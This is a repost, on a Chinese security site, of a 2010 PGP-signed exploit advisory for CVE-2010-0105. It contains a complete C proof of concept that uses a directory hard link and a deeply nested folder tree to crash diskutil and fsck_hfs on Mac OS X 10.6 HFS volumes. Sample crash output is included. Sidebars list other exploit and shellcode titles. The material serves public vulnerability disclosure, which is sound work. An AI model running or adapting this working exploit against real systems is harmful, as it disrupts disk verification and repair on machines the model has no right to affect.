首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MacOS X 10.6 HFS File System Attack (Denial of Service)
来源:cxib@securityreason.com 作者:cxib 发布时间:2010-04-26  

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

/*  Proof of Concept for CVE-2010-0105
 MacOS X 10.6 hfs file system attack (Denial of Service)
 by Maksymilian Arciemowicz from SecurityReason.com

 http://securityreason.com/achievement_exploitalert/15
 
 NOTE:
 
 This DoS will be localized in phase
 
 Checking multi-linked directories

 So we need activate it with line
 
  connlink("C/C","CX");

 Now we need create PATH_MAX/2 directory tree to make overflow.

 and we should get diskutil and fsck_hfs exit with sig=8
 
 ~ x$ diskutil verifyVolume /Volumes/max2
 Started filesystem verification on disk0s3 max2
 Performing live verification
 Checking Journaled HFS Plus volume
 Checking extents overflow file
 Checking catalog file
 Checking multi-linked files
 Checking catalog hierarchy
 Checking extended attributes file
 Checking multi-linked directories
 Maximum nesting of folders and directory hard links reached
 The volume max2 could not be verified completely
 Error: -9957: Filesystem verify or repair failed
 Underlying error: 8: POSIX reports: Exec format error
 
  
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>


int createdir(char *name){
 if(0!=mkdir(name,((S_IRWXU | S_IRWXG | S_IRWXO) & ~umask(0))| S_IWUSR
|S_IXUSR)){
  printf("Can`t create %s", name);
  exit(1);}
  else
  return 0; 
}

int comein(char *name){
 if(0!=chdir(name)){
  printf("Can`t chdir in to %s", name);
  exit(1);}
  else
  return 0; 
}

int connlink(a,b)
char *a,*b;
{
 if(0!=link(a,b)){
  printf("Can`t create link %s => %s",a,b);
  exit(1);}
  else
  return 0; 
}

int main(int argc,char *argv[]){
 
  int level;
 FILE *fp;
 
 if(argc==2) {
  level=atoi(argv[1]);
 }else{
  level=512; //default
 }
 createdir("C"); //create hardlink
 createdir("C/C"); //create hardlink
 
 connlink("C/C","CX"); //we need use to checking multi-linked directorie

 comein("C");
 
 while(level--)
   printf("Level: %i mkdir:%i chdir:%i\n",level,
   createdir("C"),
   comein("C"));  
 
 
 printf("check diskutil verifyVolume /\n");
 return 0;
}
- --
Best Regards,
- ------------------------
pub   1024D/A6986BD6 2008-08-22
uid                  Maksymilian Arciemowicz (cxib)
<cxib@securityreason.com>
sub   4096g/0889FA9A 2008-08-22

http://securityreason.com
http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
-----BEGIN PGP SIGNATURE-----

iEYEARECAAYFAkvTTQsACgkQpiCeOKaYa9bHwACfSRqy8xJbJBGFvLbLIjabxMkI
to4AoMMetii9Gc7EyOK7/3+QP4ynP5kY
=IML/
-----END PGP SIGNATURE-----


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ZipWrangler 1.20 (.zip) SEH 0d
·Easyzip 2000 v3.5 (.zip) 0day
·HP Digital Imaging (hpodio08.d
·Rumba ftp Client 4.2 PASV BoF
·27 bytes setuid(0) ^ execve("/
·WM Downloader v3.0.0.9 Buffer
·27 bytes setreuid(0, 0) & exec
·Linux/x86_64 reboot(POWER_OFF)
·CommView Version 6.1 (Build 63
·Linux/x86_64 execve("/bin/sh")
·29 Byte setuid(0) + execve("/b
·linux/x86 sends "Phuck3d!" to
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved